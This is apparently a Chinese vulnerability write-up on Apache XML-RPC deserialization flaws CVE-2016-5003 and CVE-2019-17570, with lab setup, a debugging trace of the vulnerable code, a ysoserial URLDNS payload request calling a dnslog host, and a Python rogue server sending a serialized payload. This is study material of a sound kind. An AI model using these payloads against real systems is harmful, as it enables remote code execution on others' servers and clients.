XML-RPC反序列化漏洞

XML-RPC

Xml-RPC是一个远程过程调用(remote procedure call,RPC)的分布式计算协议,通过XML将调用函数封装,并使用HTTP协议作为传送机制。

CVE-2016-5003

环境搭建:

起一个Maven项目导入下面依赖:

<dependencies>  
    <dependency>
        <groupId>org.apache.xmlrpc</groupId>
        <artifactId>xmlrpc-common</artifactId>
        <version>3.1.3</version>
    </dependency>
    <dependency>
        <groupId>org.apache.xmlrpc</groupId>
        <artifactId>xmlrpc-server</artifactId>
        <version>3.1.3</version>
    </dependency>
</dependencies>

起一个服务端:

import org.apache.xmlrpc.server.PropertyHandlerMapping;
import org.apache.xmlrpc.server.XmlRpcServer;
import org.apache.xmlrpc.server.XmlRpcServerConfigImpl;
import org.apache.xmlrpc.webserver.WebServer;

public class Main {

    public static void main(String[] args) throws Exception {
        WebServer webServer = new WebServer(80);//服务端口
        XmlRpcServer xmlRpcServer = webServer.getXmlRpcServer();
        PropertyHandlerMapping phm = new PropertyHandlerMapping();
        phm.addHandler("Test", Test.class);
        xmlRpcServer.setHandlerMapping(phm);
        XmlRpcServerConfigImpl serverConfig = (XmlRpcServerConfigImpl) xmlRpcServer.getConfig();
        serverConfig.setEnabledForExtensions(true);
        webServer.start();
    }
}

其中Test类是被远程调用的类

public class Test {
    public String welcome(String name) {
        return "welcome " + name;
    }
}

要远程调用这个Test类的welcome方法,只需要以POST的方式向服务端发起请求,请求的数据为xml:

POST / HTTP/1.0
User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.1453.94 Safari/537.36
Host: 127.0.0.1:80
Content-Type: text/xml
Content-Length: 192

<?xml version="1.0"?>
<methodCall>
    <methodName>Test.welcome</methodName>
    <params>
        <param>
            <value>111111111</value>
        </param>
    </params>
</methodCall>

response:

HTTP/1.0 200 OK
Server: Apache XML-RPC 1.0
Connection: close
Content-Type: text/xml
Content-Length: 196

<?xml version="1.0" encoding="UTF-8"?>
<methodResponse xmlns:ex="http://ws.apache.org/xmlrpc/namespaces/extensions">
    <params>
        <param>
            <value>welcome 111111111</value>
        </param>
    </params>
</methodResponse>

重点:这里的XML还支持其他标签,其中就包括了ex:serializable,官方文档的描述如下:一个对象被转换为序列化表示,并作为经过 base 64 编码的字节数组进行传输。其中前缀“ex”指的是命名空间 URI http://ws.apache.org/xmlrpc/namespaces/extensions。

image-20231208180051506

也就是说下面标签内的内容会被base64解密并进行反序列化

<ex:serializable>base64code</serializable>

可以试一试URLDNS,测试一下是否存在反序列化漏洞

java -jar ysoserial-0.0.6-SNAPSHOT-all.jar URLDNS "http://0529a07b.dnslog.store." > 1.txt

再使用certutil -encode命令进行base64加密

certutil -encode 1.txt 2.txt

将加密后的内容包裹在<ex:serializable></ex:serializable>

POST / HTTP/1.0
User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.1453.94 Safari/537.36
Host: 127.0.0.1:80
Content-Type: text/xml
Content-Length: 3133

<?xml version="1.0"?>
<methodCall xmlns:ex="http://ws.apache.org/xmlrpc/namespaces/extensions">
    <methodName>Test.welcome</methodName>
    <params>
        <param>
            <value><ex:serializable>
rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcAUH2sHDFmDRAwACRgAKbG9hZEZhY3Rv
ckkACXRocmVzaG9sZHhwP0AAAAAAAAx3CAAAABAAAAABc3IADGphdmEubmV0LlVS
TJYlNzYa/ORyAwAHSQAIaGFzaENvZGVJAARwb3J0TAAJYXV0aG9yaXR5dAASTGph
dmEvbGFuZy9TdHJpbmc7TAAEZmlsZXEAfgADTAAEaG9zdHEAfgADTAAIcHJvdG9j
b2xxAH4AA0wAA3JlZnEAfgADeHD//////////3QAFjA1MjlhMDdiLmRuc2xvZy5z
dG9yZS50AABxAH4ABXQABGh0dHBweHQAHWh0dHA6Ly8wNTI5YTA3Yi5kbnNsb2cu
c3RvcmUueA==
</ex:serializable></value>
        </param>
    </params>
</methodCall>

测试结果:

image-20231209135342773

说明存在反序列化漏洞

下一步就是调试一下看看漏洞出现在哪

当发送数据包后,回调用org.apache.xmlrpc.server.XmlRpcStreamServer中的execute方法

image-20231209154421443

将数据流保存到了istream中并传入到getRequest中进行解析

image-20231209154845748

后面就是一连串的parse方法的调用,调用栈如下:

image-20231209155008936

然后在最后的parse方法中返回的时候调用了com.sun.org.apache.xerces.internal.impl.scanDocument方法

image-20231209155323582

在这个方法中会对XML内容进行解析

image-20231209160147362

扫描完成后调用scanEndElement()方法,在com.sun.org.apache.xerces.internal.impl.XMLDocumentFragmentScannerImpl类中

image-20231209160349232

然后,进入判断,调用了com.sun.org.apache.xerces.internal.parsers.AbstractSAXParser的endElement方法

image-20231209160654428

继续跟进下一个endElement方法,这里会获取到xml各个元素的值

image-20231209161016908

当level==3时即获取到最后的元素时,进入endValueTag方法

image-20231209161146025

然后因为typeParser 不为空,进入else分支,跟进getResult()方法

public Object getResult() throws XmlRpcException {
        try {
            byte[] res = (byte[])((byte[])super.getResult());
            ByteArrayInputStream bais = new ByteArrayInputStream(res);
            ObjectInputStream ois = new ObjectInputStream(bais);
            return ois.readObject();
        } catch (IOException var4) {
            throw new XmlRpcException("Failed to read result object: " + var4.getMessage(), var4);
        } catch (ClassNotFoundException var5) {
            throw new XmlRpcException("Failed to load class for result object: " + var5.getMessage(), var5);
        }
    }

这里直接进行反序列化了

CVE-2019-17570

这个也是个反序列化漏洞,漏洞点在org.apache.xmlrpc.parser.XmlRpcResponseParser类的addResult方法

image-20231209170930354

这个类是处理服务器返回的数据,作为客户端使用时程序会运行到这:

首先添加依赖:

<dependency>
    <groupId>org.apache.xmlrpc</groupId>
    <artifactId>xmlrpc-client</artifactId>
    <version>3.1.3</version>
</dependency>

写个客户端:

public static void main(String[] args) throws MalformedURLException, XmlRpcException {
    String domainName = "http://127.0.0.1:8888";

    String serverurl = domainName + "/";
    XmlRpcClientConfigImpl config = new XmlRpcClientConfigImpl();
    config.setServerURL(new URL(serverurl));
    XmlRpcClient client = new XmlRpcClient();
    client.setConfig(config);
    Object[] params = new Object[]{"test", "AAA"};
    Object result = (Object) client.execute("xmlrpc-api", params);
}

使用python写个简单的服务端,发送恶意返回包:

import http.server
import socketserver

def create_fault_deser(payload):
  return b'''<?xml version="1.0" encoding="UTF-8"?>
<methodResponse xmlns:ex="http://ws.apache.org/xmlrpc/namespaces/extensions">
  <fault>
    <value>
      <struct>
        <member>
          <name>faultCode</name>
          <value><int>1337</int></value>
        </member>
        <member>
          <name>faultString</name>
          <value><string>You have been pwned</string></value>
        </member>
        <member>
          <name>faultCause</name>
          <value><base64>%s</base64></value>
        </member>
      </struct>
    </value>
  </fault>
</methodResponse>
''' % (payload).encode('utf-8')

payload = base64加密后的序列化数据

class Handler(http.server.SimpleHTTPRequestHandler):
  def do_POST(self):
    self.send_response(200)
    self.send_header('Content-Type', 'text/xml')
    self.end_headers()

    self.wfile.write(create_fault_deser(payload))

httpd = socketserver.TCPServer(('0.0.0.0', 8888), Handler)
httpd.serve_forever()

启动服务端后,通过java的客户端访问,这个服务器,然后就会去反序列化解密后的payload

简单的分析一下

这个过程和上面CVE-2016-5003处理XML的过程是类似的,都是遍历XML获取里面的值然后保存起来,这里保存到的是HashMap对象中

image-20231209190524146

其中faultCause对应的值就是序列化数据

往下,因为this.isSuccess=false 进入else分支,一直往下:
image-20231209190920177

这里获取到了faultCause的值,然后进行反序列化